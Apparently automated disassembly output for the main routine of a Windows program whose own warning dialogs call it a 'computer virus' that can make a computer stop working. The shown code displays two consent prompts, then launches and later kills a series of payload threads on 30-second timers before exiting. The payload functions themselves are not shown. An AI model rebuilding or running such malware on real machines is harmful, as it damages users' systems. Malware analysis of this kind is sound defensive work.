Function at 0x404720
Capabilities:
Create thread
Terminate process
Terminate thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push ecx
push ebx
push esi
mov esi, dword [sym.imp.USER32.dll_MessageBoxW]
push edi
push 0x34
push 0x417df4
push str.Warning__This_program_is_a_computer_virus._It_may_make_your_computer_cannot_work_normally._Whether_to_run_or_not__r_n_r_nPlease_dont_maliciously_open_this_program_on_other_peoples_or_public_computers__If_you_accidentally_opened_it__please_click_the_No_button_to_cancel_the_run._If_you_want_to_run_it__please_make_sure_you_are_running_it_on_your_own_computer__or_ensure_that_the_virus_on_this_computer_is_in_a_secure_environment__such_as_a_virtual_machine__sandbox__etc.__and_turn_off_all_antivirus_software._If_you_are_running_this_program_on_other_peoples_or_public_computers__please_make_sure_you_are_running_the_harmless_edition_of_this_program__and_then_click_the_Yes_button_to_continue.
push 0
call esi
cmp eax, 7
je 0x404acd
push 0x34
push 0x417df4
push str.This_is_the_last_warning____r_n_r_nDo_you_want_to_really_run__After_running__your_computer_may_not_work_normally__If_you_run_the_harmful_edition_of_this_program_on_other_peoples_or_public_computers__you_will_be_responsible_for_any_losses_and_legal_liabilities_caused_by_running_this_program__The_writer_of_this_computer_virus_isnt_responsible___
push 0
call esi
cmp eax, 7
je 0x404acd
call fcn.004045a0
call fcn.00404650
call fcn.00401380
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push section..text
push 0
push 0
call ebx
push 0
push 0
push 0
push 0x4010b0
push 0
push 0
mov edi, eax
call ebx
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, eax
push 0x7530
call ebx
push 0
push edi
mov edi, dword [sym.imp.KERNEL32.dll_TerminateThread]
call edi
push 0
push esi
call edi
call fcn.00401830
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x4014e0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x401640
push 0
push 0
mov edi, eax
call esi
push 0x7530
mov esi, eax
call ebx
push 0
push edi
mov edi, dword [sym.imp.KERNEL32.dll_TerminateThread]
call edi
push 0
push esi
call edi
call fcn.00401b20
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x4019d0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x401a30
push 0
push 0
mov ebx, eax
call esi
push 0
push 0
push 0
push 0x401a70
push 0
mov edi, eax
push 0
call esi
push 0x7530
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_TerminateThread]
call ebx
push 0
push edi
call ebx
push 0
push esi
call ebx
call fcn.00402000
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x401d80
push 0
push 0
call esi
push 0
push 0
push 0
push 0x401de0
push 0
push 0
mov ebx, eax
call esi
push 0
push 0
push 0
push 0x401e80
push 0
push 0
mov edi, eax
call esi
push 0x7530
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_TerminateThread]
call ebx
push 0
push edi
call ebx
push 0
push esi
call ebx
call fcn.00402520
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x402480
push 0
push 0
call esi
push 0
push 0
push 0
push 0x402300
push 0
push 0
mov edi, eax
call esi
push 0x7530
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push edi
call ebx
push 0
push esi
call ebx
call fcn.00402e00
push 0
push 0
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0x4027c0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x4028a0
push 0
push 0
mov ebx, eax
call esi
push 0
push 0
push 0
push 0x402cf0
push 0
push 0
mov edi, eax
call esi
push 0x7530
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_TerminateThread]
call ebx
push 0
push edi
call ebx
push 0
push esi
call ebx
call fcn.00403320
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x402fa0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x4030c0
push 0
push 0
mov edi, eax
call esi
push 0x7530
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push edi
call ebx
push 0
push esi
call ebx
call fcn.00403990
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x4035e0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x4036d0
push 0
push 0
mov ebx, eax
call esi
push 0
mov edi, eax
push 0
push 0
push 0x403830
push 0
push 0
call esi
push 0x7530
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_TerminateThread]
call ebx
push 0
push edi
call ebx
push 0
push esi
call ebx
call fcn.00403e30
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x403be0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x403cb0
push 0
push 0
mov ebx, eax
call esi
push 0
push 0
push 0
push 0x403d80
push 0
push 0
mov edi, eax
call esi
push 0x7530
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_TerminateThread]
call ebx
push 0
push edi
call ebx
push 0
push esi
call ebx
call fcn.004042e0
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x404160
push 0
push 0
call esi
push 0
push 0
push 0
push 0x404270
push 0
push 0
mov edi, eax
call esi
push 0x7530
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push edi
call ebx
push 0
push esi
call ebx
call fcn.004046b0
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]